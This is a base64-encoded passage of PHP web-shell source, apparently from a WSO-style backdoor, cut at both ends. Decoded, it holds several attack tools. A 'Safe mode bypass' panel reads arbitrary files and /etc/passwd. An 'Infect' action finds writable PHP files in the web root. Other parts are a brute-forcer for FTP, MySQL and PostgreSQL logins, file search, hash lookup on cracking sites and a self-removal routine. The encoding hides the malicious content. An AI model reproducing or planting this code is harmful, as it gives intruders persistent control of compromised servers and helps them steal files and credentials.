b24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAoJCSdtZDUgaGFzaCcgPT4gJ21kNScsCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAoJCSdjcnlwdCcgPT4gJ2NyeXB0JywKCQknQ1JDMzInID0+ICdjcmMzMicsCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7CgloYXJkSGVhZGVyKCk7CgllY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PGxhYmVsPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKCQllY2hvICI8L3NlbGVjdD48L2xhYmVsPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cgl9CgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz48L3RkPjwvdHI+CgkJCTwvdGFibGU+PC9mb3JtPiI7CglmdW5jdGlvbiBoYXJkUmVjdXJzaXZlR2xvYigkcGF0aCkgewoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykKCQkJJHBhdGguPScvJzsKCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgewoJCQlmb3JlYWNoKCRwYXRocyBhcyAk4pafKSB7CgkJCQlpZihAaXNfZGlyKCTilp8pKXsKCQkJCQlpZigkcGF0aCE9JOKWnykKCQkJCQkJaGFyZFJlY3Vyc2l2ZUdsb2IoJOKWnyk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygk4pafKSwgJF9QT1NUWydwMiddKSE9PWZhbHNlKQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgk4pafKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJOKWnykuIjwvYT48YnI+IjsKCQkJCX0KCQkJfQoJCX0KCX0KCWlmKEAkX1BPU1RbJ3AzJ10pCgkJaGFyZFJlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOwoJZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPgoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3QnIHZhbHVlPSdmaW5kJy8+CgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdmYWtlbmFtZWdlbmVyYXRvci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuZmFrZW5hbWVnZW5lcmF0b3IuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdoYXNoY3JhY2suY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3Rvb2xraS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly90b29sa2kuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdmb3BvLmNvbS5hcicgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL2ZvcG8uY29tLmFyLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdtZDVkZWNyeXB0ZXIuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+IjsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKCSR0ZW1wPScnOwoJb2Jfc3RhcnQoKTsKCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQljYXNlIDE6CgkJCSR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKCQkJaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsKCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKCQkJCXVubGluaygkdGVtcCk7CgkJCX0gZWxzZQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7CgkJCWJyZWFrOwoJCWNhc2UgMjoKCQkJJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsKCQkJaWYoIGlzX2FycmF5KCRmaWxlcykgKQoJCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOwoJCQlicmVhazsKCQljYXNlIDM6CgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOwoJCQljdXJsX2V4ZWMoJGNoKTsKCQkJYnJlYWs7CgkJY2FzZSA0OgoJCQlpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKCQkJaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOwoJCQlicmVhazsKCQljYXNlIDU6CgkJCWZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewoJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwoJCQkJaWYgKCR1aWQpCgkJCQkJZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQl9CgkJCWJyZWFrOwoJCWNhc2UgNjoKCQkJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7CgkJCSRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOwoJCQlpZiAoJHN0cmVhbSA9PSBGQUxTRSkKCQkJCWJyZWFrOwoJCQllY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsKCQkJaW1hcF9jbG9zZSgkc3RyZWFtKTsKCQkJYnJlYWs7Cgl9CgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOwoJaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7CglpZigkdGVtcCkKCQllY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsKCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7CglkaWUoJ2J5ZSEnKTsKfQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwoJCWVsc2UKCQkJZWNobyAndW5saW5rIGVycm9yISc7CiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpCiAgICAgICAgaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkluZmVjdCgpIHsKCWhhcmRIZWFkZXIoKTsKCWVjaG8gJzxoMT5JbmZlY3Q8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJaWYoJF9QT1NUWydwMSddID09ICdpbmZlY3QnKSB7CgkJJHRhcmdldD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoJCQlmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcikgewoJCQkJaWYoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCQkJCSRmaWxlcyA9IEFycmF5KCk7CgkJCQkJJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKCQkJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCQlpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgewoJCQkJCQkJaWYoaXNfZGlyKCRkaXIgLiAiLyIgLiAkZmlsZSkpIHsKCQkJCQkJCQkkaW5uZXJfZmlsZXMgPSBMaXN0RmlsZXMoJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCQlpZihpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7IAoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJldHVybiAkZmlsZXM7CgkJCQl9CgkJCX0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsKCQkJCSRuRmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOwoJCQkJaWYoJG5GaWxlID09ICIucGhwIiApewoJCQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7CgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7CgkJCQkJCSRpKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTE0PiRpPC9mb250PiI7CgkJfWVsc2V7CgkJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsKCQkJZWNobyAnUmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsKCQl9CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCWhhcmRIZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRwX2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBvcnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOwoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOwoJCQkJcmV0dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7CgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7CgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7CgkJCQlAcGdfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0KCQkkc3VjY2VzcyA9IDA7CgkJJGF0dGVtcHRzID0gMDsKCQkkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOwoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsKCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsKCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7CgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOwoJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOwoJCQkJCX0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsKCQkJCQkJJHRtcCA9ICIiOwoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkKCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOwoJCQkJCQkrKyRhdHRlbXB0czsKCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsKCQkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7CgkJCSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOwoJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLic8YnI+JzsKCQkJCQl9CgkJCQl9CgkJfQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOwoJfQoJZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+PC90cj48dHI+PHRkPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSAgdmFsdWU9IiI+